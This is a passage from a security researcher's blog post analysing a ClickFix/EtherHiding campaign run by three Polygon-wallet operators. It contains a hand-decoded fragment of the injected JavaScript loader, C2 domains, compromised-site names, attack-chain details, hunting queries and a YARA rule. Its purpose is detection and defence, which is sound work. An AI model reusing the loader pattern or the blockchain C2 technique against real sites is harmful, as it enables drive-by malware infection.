decoded = bytes(b ^ key for b in raw).decode("utf-8", "replace")
if is_kit(decoded): # decoded content matches the kit's shape
return "CONFIRMED", key
return "CLEAN", None
For every atob() blob on a page, try all 256 possible single-byte XOR keys and check whether the decoded result looks like the kit - the run-once guard variable, and a couple of hits among polygon, eth_call, api.php. The signature is on the decoded shape, not the encoded bytes, so the per-site randomisation doesn’t matter at all. 256 keys times however many atob() blobs a page carries is nothing computationally; run across a thread pool, the whole candidate list finishes in minutes.
The first version of this post ran that checker three times over a few days against the (undercounted) 477-site list, because the injection is served intermittently - some backends gate it by referrer, geo, UA, or cookie, so a site that’s clean on one fetch shows the kit on the next. That found 60, 60, and 58 confirmed per pass, union 60. The final version, described above, ran the same checker three times back-to-back in one session against the corrected, complete 984-site combined pool (a real difference in methodology I want to flag, not hide - same-session passes catch less day-to-day gating variance than the original multi-day approach did, at the direct benefit of every number in this post describing one consistent moment rather than several). Per-pass confirmed counts: 151, 152, 153 combined across every operator in the pool; broken out for this operator specifically, the three-pass union is 123 sites.
Here’s where that leaves the numbers, stated as plainly as I can manage:
- Confirmed, highest confidence, independently reproducible as of the timestamp above: 123 sites for this operator returned the live, decoded injection on at least one of three same-session fetches. This is a live claim, not a historical one - re-run the checker above right now and you’ll get an equal or different number, and that’s the point; it’s falsifiable.
- Candidate, not independently verified: the remaining roughly 728 sites in the 851-site list appear in urlscan’s historical record as having contacted one of the 18 C2 domains at some point. I did not independently confirm current or past compromise for these beyond that scan record. The honest reasons a candidate might not show CONFIRMED: the injection has genuinely been remediated, the injection is gated and wasn’t served to my specific request, or - less likely but not excluded - the original scan hit was incidental noise rather than a real infection.
“Clean” from a single fetch doesn’t prove clean - it proves the injection wasn’t served to that specific request at that specific time. 123 is a floor, not a ceiling. And 851 is the size of the candidate pool at the timestamp given above, not a claim that exactly 851 sites are compromised today - by the time you read this it’s very likely more.
I’m putting this pointer here because I want it easy to find, not because it’s an aside: every script and every raw output file behind every number in this post - the candidate builders, all three verification passes, the on-chain history for all three operators, a full bytecode comparison, funding-source tracing, and an independent spot-check where a random sample of confirmed hits was re-verified from scratch with a second, separately-written script - is published in revalidation-2026-07-08-full/ inside the companion detection repo, alongside a step-by-step 00_REVALIDATION_LOG.md tying it all together. Nothing in that folder is truncated or excerpted - full page fetches, full decoded output, full raw API responses, every one of the 984 candidate sites’ individual result. If you want to check my work rather than take my word for it, that folder is self-contained enough to do it, and the queries in this section are the exact ones to re-run. An earlier, partial version of this re-validation is also still up in revalidation-2026-07-08/ for anyone who wants the full history of how these numbers were arrived at, not just the final snapshot.
And then there were two - then, checking my own work, three
I almost missed operator 2. The checker script prints the contract address alongside every CONFIRMED hit, mostly so I could sanity-check that I was decoding the right thing - and a few lines into a run of otherwise-identical output, one of them didn’t match. Three sites resolved a different contract: 0x83833C5D676cA06E941A32310AE67D0890F657eE, deployed by a different wallet, 0xf1940DDBDA56074ce29bB0b6eA8D62db974870a5. Same kit - identical injected-loader structure, identical 0xb68d1809 selector - but a separate operator. Sweeping that second wallet on-chain surfaced five contracts going back to 13 April 2026, two months before the first operator’s wallet ever appeared, a different operational habit (a fresh contract deployed per C2 rather than one contract updated repeatedly), and a distinctly different sense of humour in the domain names.
That was the whole story until I redid the verification pass properly, wanting the numbers bulletproof before this went out. Rerunning the corrected 815+141-site candidate pool through the checker, the same “watch for a contract address that doesn’t match” habit paid off a second time: one site in the pass-1 output, greencoalition[.]pl, decoded to a contract I’d never seen - 0x0C7Cb01C83203aC0a50Abc3a9AFF3c9Ca727eF55. I didn’t take that at face value. I fetched the site directly, pulled the matching atob() blob, and hand-decoded it with the reported key (114) myself rather than trusting the script’s own output:
1
2
3
4
5
// Decoded by hand (blob, XOR 114) from greencoalition[.]pl - not taken from the checker's own report
(function(){if(window['_0e772b04b2'])return;window['_0e772b04b2']=1;
var _fyzaz=['https://rpc.ankr.com/polygon', /* ...same 8-RPC list... */ ];
var _fzqrht="0x0C7Cb01C83203aC0a50Abc3a9AFF3c9Ca727eF55";
var _haajz="b68d1809"; /* ... */
Same guard-variable shape, same failover-RPC-list structure, same selector, different contract, different run-once guard hex. Genuinely the same kit, a third deployment of it. On-chain, the deployer wallet is 0x2F9091AB4Ec91c0dAa67a7660c81A922328A8096, and it has exactly four transactions total, ever: one contract creation and three updateDomain calls - meaning this operator’s entire on-chain footprint fits in a single query, and I’ve read all of it:
| Date (2026) | C2 domain |
|---|---|
| Jun 29 | errrkotmlkpoy[.]xyz (constructor) |
| Jul 06, 03:58 | huishuvish[.]cc |
| Jul 06, 22:10 | pluhabovra[.]info |
| Jul 08, 08:33 | hilacbatoriaaa[.]cc (current, as of writing) |
Newest of the three by a wide margin - created three weeks after operator 1’s contract, nine days before this post - and the domain style is neither the “authorization/verification” theme nor the “money” theme: four short, pronounceable-but-meaningless strings across .xyz, .cc, and .info. A third distinct naming convention from a third distinct wallet. I want to be honest about how thin this operator’s profile still is compared to the other two: searching its own four domains through urlscan found four candidate sites beyond the C2 domains themselves - apimetrology[.]com, oostflankpurmerend[.]nl, www[.]motorbeam[.]com, www[.]realoptionsvaluation[.]com - of which two came back confirmed live (www[.]motorbeam[.]com, www[.]realoptionsvaluation[.]com) and two clean. greencoalition[.]pl never showed up in that own-domain search at all - it was only found because it happened to already be sitting in the other two operators’ candidate pool for a reason I don’t have a confirmed explanation for, and didn’t chase down given the explicit scope direction to stay on the three identified operators rather than follow every side thread. Three confirmed sites total for this operator, out of what is very likely a larger and mostly unmapped victim set. Anyone with urlscan access can pick this one up from here.
| Operator 1 (“authorization/verification”) | Operator 2 (“greedy”) | Operator 3 (random strings) | |
|---|---|---|---|
| Wallet | 0xCaf2C54E400437da717cF215181B170F65187aBf | 0xf1940DDBDA56074ce29bB0b6eA8D62db974870a5 | 0x2F9091AB4Ec91c0dAa67a7660c81A922328A8096 |
| Contracts | 1 live, updated 23 times (+ 2 abandoned test deployments, see below) | 5, one deployed per C2 | 1, updated 3 times |
| First on-chain activity | 13 May 2026 (test deployments); 5 June 2026 (live campaign) | 13 April 2026 | 29 June 2026 |
| C2 naming theme | authorization-/verification- on .info/.beer | letsgomakemoneyoncaptcha[.]beer, hahletsgoagain[.]beer, iwannagetmoremoney[.]beer | Random strings on .xyz/.cc/.info |
| Candidate sites found | 851 | 150 | 4 (own-domain search only; incomplete) |
| Confirmed still injecting | 123 (three-pass union) | 27 (three-pass union) | 3 |
| Shared kit selector | 0xb68d1809 | 0xb68d1809 | 0xb68d1809 |
| Contract bytecode (live contract) | 2,980 bytes, distinct | 4,864 bytes | 4,864 bytes - byte-identical to operator 2’s |
| Deployer wallet’s total on-chain footprint | 934 transactions, funded since Oct 2024 (long-lived, multi-purpose wallet) | 8 transactions ever (dedicated, minimal-footprint wallet) | 4 transactions ever (dedicated, minimal-footprint wallet) |
Operator 2’s candidate and confirmed counts moved too once the pagination bug was fixed: 86 to 150 candidates, 18 to 27 confirmed. Seventeen of operator 2’s 150 candidate sites also appear in operator 1’s 851 - up from an originally-reported 8, same undercount, same fix. Across all three operators combined, that’s 984 unique candidate sites and 153 confirmed still actively serving the injection as of the timestamp given earlier in this post, all independently reproducible with the queries in this section.
The bytecode row is the one piece of genuinely new evidence this re-validation turned up, and it’s stronger than anything I had before - and it got stronger again on a second pass. “Shared kit” up to this point was based on the injected JavaScript’s structure and the shared 0xb68d1809 selector - convincing, but ultimately a similarity argument. Bytecode is not. I pulled the deployed bytecode for every known contract straight from the chain with eth_getCode and hashed each. Operator 2’s five contracts and operator 3’s single contract are byte-for-byte identical - 4,864 bytes, same full SHA-256, six separate deployments of the exact same compiled artifact over two and a half months. Operator 1’s live contract is a different, shorter compiled artifact entirely - 2,980 bytes, same four function selectors in the same order, but not the same bytecode (the opcode pattern is consistent with an older Solidity compiler version; the shared template uses the PUSH0 opcode, which needs Solidity 0.8.20 or newer).
That’s where it stood in the first pass of this re-validation. Then, pulling operator 1’s wallet’s complete transaction history rather than the partial pull I’d relied on before, two more contracts turned up: on 13 May 2026, three weeks before its known campaign start, this wallet deployed two contracts I’d never seen, each touched exactly once - one creation transaction, one updateDomain call, then abandoned. Both are 4,864 bytes, byte-for-byte identical to operator 2 and operator 3’s shared template - not operator 1’s own 2,980-byte contract. The “domains” set in those two calls aren’t real URLs either; one decodes to 47 bytes of non-printable data, the other to a literal repeating 07 04 05 byte pattern - placeholder test data, not a live C2. Read plainly: operator 1’s own wallet has dated, on-chain proof of testing the exact same shared template operators 2 and 3 use, three weeks before switching to a distinct contract for its actual campaign. Eight of the nine contracts now known across all three operators are byte-identical; only operator 1’s live one differs. That’s a materially stronger version of the “shared kit” claim than either the JavaScript similarity or the original 6-of-9 bytecode match supported, and it’s why the “First on-chain activity” row above now shows two dates for operator 1 instead of one.
That changes the shape of the “three operators” claim in a way worth being precise about: operators 2 and 3 are provably running the same deployment artifact, and operator 1 has direct on-chain contact with that same artifact before choosing to run something else for its live campaign - tighter evidence of a shared origin than a JavaScript-similarity argument alone. I can’t tell from bytecode whether that means one toolsmith serving three customers, an earlier/later version of one person’s own kit, or something else - and I’m not going to guess further than the evidence supports.
I want to be careful here, because I publish under my own name: I am not naming individuals, and “operator” means “a wallet with a consistent, distinct pattern” - not a person I can identify. What the on-chain evidence supports is narrow and solid: three distinct wallets are running compatible or, in most cases, byte-identical infrastructure, with separate C2s and mostly separate victims. That looks like a kit that’s shared or sold as a service, rather than one crew running three personas. But the shared kit is a technical fact; who’s holding the wallets is not something I can or will assert.
What defenders can do
Quick version: application control on user-writable paths and %TEMP%, plus PowerShell Script Block Logging, catch this chain at almost every stage regardless of which XOR keys or C2 domain are live that day.
| Technique (ATT&CK) | What to do | Essential Eight | What to hunt for |
|---|---|---|---|
| ClickFix copy-paste (T1204.004) | Application control catches the consequence even when the user types the cause; pair with user education that no legitimate site asks you to paste into Run | Application Control; User Application Hardening | Event ID 4688 where the parent is an interactive powershell.exe/cmd.exe with no arguments and the child touches a URL |
| PowerShell chain (T1059.001, T1140) | Constrained Language Mode; block script execution from user-writable paths via WDAC/AppLocker | Application Control (ML1+); Securing PowerShell in the Enterprise | Script Block Logging Event ID 4104 - it captures the decoded body, keys and all |
| Reflective loading (T1620) | CLM disables the .GetType().Assembly.GetType(...) reflection path this loader relies on | Application Control; Securing PowerShell in the Enterprise | Event ID 4104 for FromBase64String reached via GetMethod, or bodies containing -bxor character-array loops |
| DLL side-loading (T1574.002) | Application control that validates what loads, not just the launcher; alert on cmutil.dll outside System32 | Application Control (ML1+) | Sysmon Event ID 7 (image load) for cmutil.dll from any non-System32 path |
| Execution from %TEMP% (T1105) | Block execution from %TEMP%, %APPDATA%, and Downloads | Application Control (ML1+) | Event ID 4688 for a randomly-named .exe in %TEMP% run with arguments x -y -o* |
| Web/blockchain C2 (T1102.001, T1071.001) | Default-deny egress; treat a browser-originated eth_call to a public Polygon RPC from a non-web3 user as an anomaly | No clean Essential Eight home - network architecture | Proxy logs for eth_call POSTs to *.drpc.org, 1rpc.io, rpc.ankr.com from ordinary users, followed by GET */api.php?s= |
Application control is the one lever that breaks this chain in the most places at once - the PowerShell stages, the randomly-named .exe in %TEMP%, and the side-loaded DLL all execute from user-writable paths, and all of it dies if that’s actually locked down (Implementing Application Control, November 2023). Script Block Logging is the free win on top: Event ID 4104 captures every one of the seven XOR layers in cleartext as PowerShell evaluates it, keys and URLs included, before anything lands. If 4104 isn’t in your SIEM yet, that’s the highest-return hour on this whole list. The rest of the table covers the specific hunts.
Hunting and detection summary
- Event ID 4104 (Script Block Logging) for character-array bodies containing
-bxor, and forFromBase64Stringreached via.GetType().Assembly.GetType(...)plusGetMethod. - Event ID 4688 for interactive
powershell.exe/cmd.exewith no arguments whose child touches a URL; for a randomly-named.exein%TEMP%run withx -y -o*; forpowershell -w hcombined withiex(irm ...). - Sysmon Event ID 7 for
cmutil.dllloaded from any path outsideSystem32, especially over 1 MB or unsigned. - Proxy logs for browser-originated JSON-RPC
eth_callPOSTs topolygon.drpc.org,1rpc.io,rpc.ankr.com/polygon,polygon-bor-rpc.publicnode.comfrom non-developer users, followed byGET */api.php?s=<hex>&_v=<digits>. - Your own web properties: page source containing
new Function(new TextDecoder(next toatob(and a byte-XOR loop - that’s the injected loader shell, regardless of the per-site key. Also grep for the contract addresses below and the guard-variable patternwindow['_<hex>']. - On-chain: read all three contracts to get the live C2 at any moment; watch the three wallets for new
updateDomaincalls (operators 1 and 3) or new contract deployments (operator 2).
Detection artefacts for this campaign - YARA rules, Sigma rules for the PowerShell chain and the DLL side-load, KQL for Sentinel/Defender XDR, and the full IOC list as a CSV - are available in the BlueTeamCoolTeam/detections repository under
campaigns/authorization-cdn-etherhiding-clickfix/.
Indicators of Compromise
All network indicators below are defanged.
Network - Operator 1 (“authorization/verification” theme)
| Type | Indicator | Notes |
|---|---|---|
| Domain | authorization-cdn-press-enter[.]info | Current C2 at time of writing |
| IP | 178.16.52[.]101 | C2 host (nginx); AS202412 (Omegatech LTD), 178.16.52[.]0/24, Frankfurt/DE |
| Domain | labiennale[.]art[.]pl | Compromised delivery site (WordPress 5.7.15) |
| Domains (historical, 17 - excludes the current C2 above) | authorization-code[.]info, authorization-id-code[.]info, authorization-code[.]beer, idverification-cdn[.]info, idverification-code[.]beer, codeverificatrorcl[.]info, verificationscodes[.]beer, code.verification-claude-cdn[.]beer, claudverification-id[.]beer, codecerification[.]beer, code-verification-js[.]beer, verification-code-js[.]beer, svs-verificationdate[.]beer, verification-js-cdn[.]boats, framework-css-styles-js[.]beer, ethercdnns[.]beer, xdavnode[.]pro | Full rotation history recovered from decoded on-chain calldata (23 updateDomain calls plus the constructor’s initial value) - 18 domains total including the current C2 |
| URL patterns | /<16-hex>, /<16-hex>?_=1, /7z, /<64-hex>, /p/<64-hex>, /api.php?s=<48-hex>&_v=<digits> | Stager, gate, 7-Zip, payload ZIP, beacon, loader |
| Cookie | xdv_sess | C2 panel session cookie - durable pivot even across domain rotation |
Network - Operator 2 (“greedy” theme)
| Type | Indicator | Notes |
|---|---|---|
| Domain | iwannagetmoremoney[.]beer | Current C2 (contract 0x83833C5D...) |
| Domain | hahletsgoagain[.]beer | Prior C2 |
| Domain | letsgomakemoneyoncaptcha[.]beer | Earliest C2; also seen serving a direct /payload.exe variant |
Network - Operator 3 (random-string theme, newly discovered)
| Type | Indicator | Notes |
|---|---|---|
| Domain | hilacbatoriaaa[.]cc | Current C2 at time of writing |
| Domain | pluhabovra[.]info | Prior C2 |
| Domain | huishuvish[.]cc | Prior C2 |
| Domain | errrkotmlkpoy[.]xyz | Earliest C2 (contract constructor value) |
Blockchain (Polygon)
| Type | Indicator | Notes |
|---|---|---|
| Contract | 0xB6bC9e1D0b2fB96Ab7C47E04Cb0BE477410bC1f2 | Operator 1 EtherHiding contract (live) - same contract as the PuppetKing case |
| Wallet | 0xCaf2C54E400437da717cF215181B170F65187aBf | Operator 1 - updates the above via updateDomain |
| Contracts (abandoned test deployments) | 0x76fA199B724Bb511BA326BB0400ED89227B39AEF, 0xbdC80AdF5944aE01A7a56552A03C507DB1f40dDd | Operator 1’s wallet, 13 May 2026 - shared-template (4,864-byte) test contracts, each touched once then abandoned; placeholder “domain” values, not real C2s |
| Contract | 0x83833C5D676cA06E941A32310AE67D0890F657eE | Operator 2 - current contract |
| Contracts (historical) | 0x6C4bECa447067D6452029888AFd56417293F6A1f, 0x623a17677Ed3B95A512c4DD32AB4A6Ba43444FFb, 0xF9344f7F9d7954a78D57ae940827126C30C4d678, 0xE762F84B8c509f7DEbDd72Ea4E9BA099DF9b9097 | Operator 2’s prior contracts |
| Wallet | 0xf1940DDBDA56074ce29bB0b6eA8D62db974870a5 | Operator 2 - deploys the above |
| Contract | 0x0C7Cb01C83203aC0a50Abc3a9AFF3c9Ca727eF55 | Operator 3 - current contract, created 29 June 2026 |
| Wallet | 0x2F9091AB4Ec91c0dAa67a7660c81A922328A8096 | Operator 3 - updates the above via updateDomain; four transactions total on-chain, ever |
| Method selector | 0xb68d1809 | Shared kit “get current C2” read function - identical across all three operators |
| Contract bytecode (full SHA-256) | 473d49db1b57434ad2f08d43361f5d73b5ea864a408afb052645f5d5c63db3d3 | Byte-identical deployed bytecode (4,864 bytes) shared by operator 1’s 2 abandoned test contracts, all 5 of operator 2’s contracts, and operator 3’s contract - 8 of 9 known contracts total; check with eth_getCode |
Host / files
| Type | Indicator | Notes |
|---|---|---|
| SHA-256 | d87dbf7df276bca5870d7ef6d1654ae33e6f0092dc215966e56dc151cdfdaf3b | payload.zip |
| SHA-256 | 2eb8278210434ced87711889ba19582b7a104190310d2a06f0855a9cf5772d11 | cmtp_86x.exe (side-load launcher) |
| SHA-256 | acdeca64b1328b6e0aab9ab0839c770cb40f370ba9857a01ab104d8c73b28064 | cmutil.dll (trojanised, 27 MB) |
| SHA-256 | 929c75da6a734daeb6741ac65968acb3551de248de292c7024f787e9edac8e22 | Encrypted inner implant (738 KB, key not recovered) |
| SHA-256 | 26817725650583d99ca3e617a618dd75c0f71bd316b5761780b7361f5f824cad | /7z - legitimate standalone 7-Zip (context IOC, not itself malicious) |
| Files | %TEMP%\<rand>\<rand>\{cmtp_86x.exe, cmutil.dll, VERSION.txt} | Dropped trio |
Code / attribution
| Type | Indicator | Notes |
|---|---|---|
| XOR keys | 44, 52, 114, 69 (PS chain) plus 12, 14, 63 (dropper URLs) plus 85 (reflected type/method names) | Per-stage single-byte keys |
| Malicious exports | qrclfw1_nom08o, t3cclj_t58rlx, ygeui0_ew9f94 | Non-standard exports in cmutil.dll |
| JS guard variable | window['_<hex>'] (e.g. _d446a81607) | Injected-loader run-once flag, randomised per site |
| JS loader shape | new Function(new TextDecoder(...)) plus atob( plus a per-site byte-XOR loop | Loader shape is fixed; the key is polymorphic (observed: 20, 43, 48, 53, 73, 80) |
Detection rules
rule ClickFix_EtherHiding_Kit
{
meta:
author = "Luke Wilkinson"
date = "2026-07-08"
description = "ClickFix + EtherHiding kit: injected JS loader, trojanised cmutil.dll side-load, PS chain."
severity = "high"
strings:
// Injected browser loader (page source) -- shape, not the polymorphic blob
$js_wrap = "new Function(new TextDecoder"
$js_atob = "atob("
$js_rpc1 = "polygon-bor-rpc.publicnode.com" ascii
$js_rpc2 = "1rpc.io/matic" ascii
$js_api = "/api.php?s=" ascii
// Shared kit blockchain constants
$contract1 = "0xB6bC9e1D0b2fB96Ab7C47E04Cb0BE477410bC1f2" ascii nocase
$contract2 = "0x83833C5D676cA06E941A32310AE67D0890F657eE" ascii nocase
$contract3 = "0x0C7Cb01C83203aC0a50Abc3a9AFF3c9Ca727eF55" ascii nocase
$selector = "b68d1809" ascii nocase
// Trojanised cmutil.dll
$exp1 = "qrclfw1_nom08o" ascii
$exp2 = "t3cclj_t58rlx" ascii
$exp3 = "ygeui0_ew9f94" ascii
$cm_curl = "curl_easy_perform" ascii
$cm_real = "SzToWzWithAlloc" ascii
// PowerShell chain
$ps_bxor = "-bxor" ascii
$ps_refl = ".GetType().Assembly" ascii
condition:
// Injected loader on a web page
($js_wrap and $js_atob and (any of ($js_rpc1,$js_rpc2) or $js_api))
// OR the shared kit's on-chain constants
or (any of ($contract1,$contract2,$contract3) and $selector)
// OR the trojanised DLL
or (2 of ($exp1,$exp2,$exp3) or ($cm_curl and $cm_real and any of ($exp*)))
// OR the PS chain shape
or ($ps_bxor and $ps_refl)
}
The companion repo linked above also carries two Sigma rules not reproduced here in full: one for the cmutil.dll side-load (image-load monitoring outside System32) and one for the %TEMP% 7-Zip extraction step.
Closing
What sticks with me on this one is the shape of the trade-off the operators made. EtherHiding buys them a control plane that no registrar takedown or DNS block can touch, and it’s genuinely effective at that. But they bought it with total transparency. Every C2 any of them has ever used, the cadence they rotate on, the link between two write-ups I’d filed as unrelated, and the existence of two more operators running the same kit - all of it was sitting in a public ledger, free to read, no API key, no warrant. They built a bulletproof mailbox and then addressed it in the town square.
The other thing that sticks with me: the biggest correction in this post didn’t come from the malware. It came from checking my own numbers the same way I’d check anyone else’s - rerun the query, don’t trust a flag you haven’t verified, look for the result that doesn’t match. That habit is what turned 477 into 815 and two operators into three. Apply it to your own tooling, not just mine.
For defenders the lesson is the usual one, just underlined twice. The upstream cleverness doesn’t matter if the host says no. Application control on user-writable paths, Script Block Logging so PowerShell narrates its own decode, Constrained Language Mode so the reflection loader can’t build its next stage - get those three right and this entire chain lands on concrete. And if you want to get ahead of it, go read the contracts. They’ll tell you where they’re going next.
Stay curious.
On methodology: the investigation is mine. The reverse engineering and analysis assembly were carried out with AI workflows (Claude, primarily). I reviewed every finding. Errors are mine - ping me on X or Instagram if you spot something off.
References
- MITRE ATT&CK - T1584.004, T1189, T1204.004, T1059.001, T1059.007, T1102.001, T1140, T1027, T1027.001, T1620, T1574.002, T1497.003, T1071.001, T1105: https://attack.mitre.org
- ASD/ACSC - Essential Eight Maturity Model (Nov 2023): https://www.cyber.gov.au/business-government/asds-cyber-security-frameworks/essential-eight/essential-eight-maturity-model
- ASD/ACSC - Implementing Application Control (Nov 2023): https://www.cyber.gov.au/business-government/protecting-devices-systems/hardening-systems-applications/system-hardening/implementing-application-control
- ASD/ACSC - Securing PowerShell in the Enterprise (Oct 2021): https://www.cyber.gov.au/acsc/view-all-content/publications/securing-powershell-enterprise
- ASD/ACSC - Hardening Microsoft Windows 11 Workstations (Sep 2025): https://www.cyber.gov.au/resources-business-and-government/maintaining-devices-and-systems/system-hardening-and-administration/system-hardening/hardening-microsoft-windows-10-version-21h1-workstations
- “EtherHiding” - background reading on the technique of storing malicious configuration and payload-redirect logic in blockchain smart contracts; not vendor-specific, the underlying mechanism (a public read-only contract call as a dead-drop resolver) is the load-bearing part.
- My earlier writeup on the same contract’s infrastructure: Five layers deep for a stealer: reversing the “PuppetKing” ClickFix chain that ended in StealC
